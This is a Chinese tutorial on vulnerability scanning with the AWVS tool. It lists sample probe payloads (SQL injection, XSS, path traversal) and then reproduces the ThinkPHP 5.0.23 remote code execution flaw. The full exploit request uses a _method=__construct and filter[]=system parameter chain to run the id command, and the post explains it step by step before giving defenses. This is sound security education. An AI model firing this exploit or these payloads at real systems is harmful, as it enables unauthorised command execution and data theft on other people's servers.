简介
漏洞扫描
漏洞扫描(Vulnerability Scanning)是一种通过自动化或半自动化手段,对目标系统(如网络设备、应用程序、操作系统等)进行安全弱点检测的过程。其核心目的是发现潜在的安全漏洞(如配置缺陷、未修复补丁、编码错误等),并基于风险优先级提供修复建议,以防止被攻击者利用。
AWVS
AWVS 是一款由 Acunetix 公司开发的自动化网络应用漏洞扫描工具,广泛用于检测 Web 应用程序、API 和网络服务中的安全漏洞。它通过模拟攻击者的行为,识别潜在的安全风险,帮助企业和安全团队保护资产。漏洞扫描核心分类
- 按范围分类
- 网络层扫描:发现开放端口、服务版本及网络设备漏洞(如弱密码、过期协议)。
- 应用层扫描:针对 Web 应用、API、移动应用检测逻辑漏洞(如 SQL 注入、XSS)。
- 主机层扫描:检查操作系统、数据库的补丁状态与配置合规性(如 Linux 未授权访问)。
- 按技术深度分类
- 黑盒扫描(无源码):模拟攻击者视角(如 AWVS 的动态扫描)。
- 白盒扫描(有源码):通过代码审计(如 SAST)发现逻辑漏洞与硬编码密钥。
- 灰盒扫描:结合运行时数据(如 IAST)提升准确性。
AWVS核心功能
- 自动化漏洞检测
- 注入攻击(SQL 注入、OS 命令注入)
- 跨站脚本(XSS) 和 跨站请求伪造(CSRF)
- 配置错误(如易受攻击的标头、SSL/TLS 弱协议)
- 敏感数据泄露(目录遍历、未加密的传输)
- 逻辑漏洞(业务逻辑缺陷)。
支持 OWASP Top 10、CWE Top 25 等常见漏洞类型,包括:
- 进阶技术覆盖
- 支持 SPA(单页应用)、REST API、GraphQL 的扫描。
- 集成了 DOM-based XSS 检测引擎,精准识别现代前端框架(如 React、Vue)的漏洞。
- 身份验证扫描
支持模拟登录(表单、Cookie、多步验证),检测权限提升与会话管理漏洞。
- 报告与合规
生成详尽的 PDF/HTML 报告(含 PoC 和修复建议),并符合 PCI DSS、GDPR 等合规性要求。
AWVS工作原理
1. 整体工作流程
AWVS 通过 动态分析技术(DAST) ,模拟攻击者行为对目标进行安全评估,主要步骤包括:
目标配置 → 爬取内容 → 漏洞探测 → 结果分析与验证 → 生成报告
2. 核心原理与技术拆解
(1)目标初始化与爬取
- CMS 识别 通过响应头、HTML 指纹(如 WordPress 的 /wp-content/ 路径)识别目标技术栈(框架、服务器、数据库)。
CMS(Content Management System,内容管理系统)识别是网络安全扫描的关键环节,其目标是通过技术手段快速确定目标网站使用的 CMS 类型(如 WordPress、Joomla、Drupal 等)。这一过程直接影响后续漏洞检测的效率和准确性。
- 深度爬虫 基于传统爬虫 + 动态渲染引擎(内置无头浏览器),解析 JavaScript 动态生成的内容(如 Ajax、SPA),构建完整的 URL 树和请求参数。
- 身份验证集成 模拟登录(如 Cookie、Token、OAuth 2.0),确保爬虫覆盖权限内的所有端点。
(2)主动漏洞检测
- 规则引擎驱动 基于 漏洞模式库(覆盖 OWASP Top 10、CWE 等)发送多种攻击载荷,例如:
- SQL 注入:构造
' OR 1=1;--等语句,观察响应差异或延迟。 - XSS 漏洞:插入
<script>alert(1)</script>,检测反射/存储型漏洞。 - 文件包含:尝试通过
../../etc/passwd等路径探测敏感文件泄露。
- 上下文感知(Context-aware Scanning) 识别输入点类型(如参数、头字段)并针对性测试,例如 JSON 格式参数可能测试注入语法转义而非传统 SQL 语句。
- 动态行为分析 监控异常响应(如数据库错误、敏感关键词、HTTP 500 状态码),结合行为分析判定潜在漏洞。
(3)漏洞验证
- 误报过滤 自动去重并排除误报(如通过多次重试消除临时网络错误导致的假阳性结果)。
- PoC(概念验证) 对高危漏洞提供手动复现建议(例如显示注入点的 HTTP 请求原始包)。
(4)智能扫描策略
- 分阶段扫描 优先检测高风险场景(如身份验证接口、敏感 API 路径),提升效率。
- 增量扫描 针对频繁更新的 Web 应用,比对历史结果仅扫描变化部分。
3. 关键技术亮点
- JavaScript 引擎模拟 通过无头浏览器(如 Chromium 内核)执行复杂的客户端逻辑(如 Vue/React 的 DOM 操作),确保覆盖现代前端框架漏洞。
- 协议级流量分析 支持 WebSocket、HTTP/2 等协议,解析非标字段(如 GraphQL 的 JSON-RPC 请求)。
- 机器学习增强 利用历史扫描数据训练模型,优化攻击载荷的选择(例如优先使用高成功率的 Payload)。
4. 与其他工具的协同
- 与渗透测试工具集成 导出漏洞结果至 Burp Suite、Metasploit 等工具进行深入利用。
- DevOps 流水线整合 通过 REST API 触发自动化扫描,结合 Jenkins/GitLab 在开发阶段阻断高危漏洞。
5. 实际漏洞检测示例
以 SQL 注入漏洞探测为例:
- 爬虫阶段:识别目标 URL 的查询参数(如
?id=1)。
- 载荷注入:发送
id=1' AND SLEEP(5)--,若响应延迟 5 秒,则触发漏洞警报。
- 误报验证:重复发送多种时间盲注载荷(如
SLEEP(3)、SLEEP(7)),确认延迟与参数严格相关。
- 结果归类:标记漏洞类型,并在报告中提供修复建议(如参数化查询)。
总结
AWVS 通过 自动化动态分析 + 模式匹配引擎 实现高效漏洞扫描,核心价值在于:
- 对现代技术的深度支持(AJAX、SPA、REST API)
- 低误报率的智能验证逻辑
- 渗透测试级攻击模拟能力
AWVS基本使用方法
1. 创建扫描目标
- 手动输入目标
点击
New Scan → Target → 输入 URL(支持 HTTP/HTTPS),例如 https://example.com。注意:若需认证(如登录页面),需配置
Authentication 模块(支持表单、Cookie、OAuth)。- 批量导入目标
通过
Import from File 上传 CSV/TXT 列表(格式:每行一个 URL)。2. 配置扫描策略
选择
Scan Configuration → 从预设模板中选择:<PLAINTEXT> 1. Full Scan ✅ 全量扫描(耗时最长) 2. High Risk ✅ 仅检测高风险漏洞(SQLi、XSS) 3. Quick Scan ✅ 快速扫描(仅爬取 + 基础测试)
自定义配置:
- 爬虫设置:是否执行深度链接跟踪(
Crawl Depth)、限制请求速率(Max Requests/sec)。
- 测试范围:勾选漏洞类型(如
Insecure Deserialization)。
- 排除路径:添加敏感路径(如
/admin/backup)避免触发误操作。
3. 身份认证配置(如扫描需登录的 Web 应用)
方式 1:表单认证(Form-based)
- 输入登录 URL(如
https://example.com/login)。
- 填写用户名、密码字段(需通过浏览器 DevTools 检查表单参数名)。
方式 2:Cookie/Session 注入
- 使用浏览器插件(如 EditThisCookie)导出当前会话 Cookie 值,粘贴至
Manual Session模块。
4. 启动扫描
- 点击
Scan Now,扫描状态实时显示:
- 监控进度:
- 实时查看已检测的请求数、发现的漏洞数量。
- 通过
Live Events跟踪当前正在测试的漏洞类型。
5. 漏洞分析与验证
- 漏洞详情页:
- 危险等级:红色(高危)、橙色(中危)、黄色(低危)标记。
- 请求/响应示例:显示触发漏洞的原始 HTTP 请求和响应内容。
- 修复建议:提供代码示例或配置调整方案(如输入过滤正则表达式)。
- 验证漏洞:
- 复制请求到 Burp Suite/Postman 手动重放,确认可复现。
- 对误报点击
Mark as False Positive,避免下次重复检测。
6. 报告生成与导出
- 报告模板:
Developer Report:技术细节(HTTP 流量、漏洞位置)。Executive Summary:管理层摘要(漏洞统计、风险趋势)。
- 导出格式:PDF、HTML、CSV(支持与 Jira、GitLab 集成)。
ThinkPHP5 5.0.23 远程代码执行漏洞
框架运行环境
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
ThinkPHP5 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞复现
发送数据包:
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功执行id命令:
🕵️ 分解参数与攻击逻辑
参数结构:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
1️⃣ _method=__construct
- 作用:覆盖类的构造函数
- 在 ThinkPHP 框架中,通过
_method参数可伪造 HTTP 请求方法(如POST转PUT/DELETE)。但此处设置为__construct,会尝试触发目标类的 构造函数。
- 漏洞触发点:如果框架未对
_method的值做严格限制,攻击者可通过此参数控制类的初始化逻辑。
2️⃣ filter[]=system
- 作用:注入恶意过滤器
filter参数在 ThinkPHP 中用于指定输入数据的 过滤函数(如安全过滤函数htmlspecialchars)。- 此处将过滤器设置为
system(系统命令执行函数),使得后续数据通过system()处理,直接将输入作为命令执行。
3️⃣ method=get
- 作用:指定方法调用类型
method=get表示通过GET方式调用方法。结合_method参数,可能绕过框架的路由安全检查,强制控制器以特定方式处理请求。
4️⃣ server[REQUEST_METHOD]=id
- 作用:篡改请求方法元数据
server[REQUEST_METHOD]对应$_SERVER['REQUEST_METHOD'],通常记录的原始 HTTP 方法(如GET/POST)。- 此处将其设为
id(任意字符串),目的是 干扰框架对请求的合法性校验,同时id会作为system()的参数被执行,返回当前用户的系统信息:
id # 输出类似 uid=1000(user) gid=1000(group)
💥 攻击流程总结
通过参数构造,攻击者在 ThinkPHP 漏洞环境中可实现以下操作:
- 覆盖构造函数:强制目标类在初始化时加载攻击者控制的参数。
- 注入恶意过滤器:使输入数据被
system()函数处理,任何经过该过滤器的参数均会触发系统命令执行。
- 篡改请求方法:绕过安全机制,最终由
system('id')实现操作系统命令执行,验证漏洞存在。
🛡️ 防御措施
若项目使用 ThinkPHP,需采取以下防护:
- 升级框架版本:确保使用官方修复后的最新版本(如 >= ThinkPHP 5.0.24)。
- 输入过滤:严格校验
_method、filter等参数,禁止用户控制此类敏感字段。
- 禁用危险函数:在
php.ini中禁用system、exec等函数。
- 日志监控:记录异常请求参数,及时发现攻击行为。
// 安全示例:在控制器中明确允许的过滤函数 $data = input('param.', [], 'htmlspecialchars,strip_tags'); // 只允许安全过滤